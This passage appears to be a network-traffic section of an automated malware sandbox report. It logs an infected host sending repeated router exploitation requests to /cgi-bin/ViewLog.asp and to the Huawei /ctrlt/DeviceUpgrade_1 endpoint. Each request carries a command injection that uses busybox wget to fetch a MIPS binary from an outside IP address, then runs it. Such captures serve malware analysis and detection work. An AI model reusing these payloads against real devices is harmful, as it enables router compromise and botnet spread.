                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                419192.168.2.155767462.56.187.1448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:43.799387932 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:43.972389936 CET502INHTTP/1.1 403 Forbidden
                                                Date: Thu, 23 Nov 2023 04:21:43 GMT
                                                Server: Apache/2.2.29 (Unix)
                                                Content-Length: 221
                                                Keep-Alive: timeout=5, max=100
                                                Connection: Keep-Alive
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /cgi-bin/ViewLog.aspon this server.</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                420192.168.2.155595895.86.120.1168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:46.480585098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                421192.168.2.1540652156.254.102.14137215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:46.553452015 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:50.650033951 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:56.793909073 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:08.829610109 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:32.888848066 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                422192.168.2.155122285.209.161.1028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:46.663821936 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                423192.168.2.155156431.136.205.1658080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:46.664942980 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.226099968 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:48.346107960 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:50.650016069 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:55.257896900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:04.217792988 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:22.649144888 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
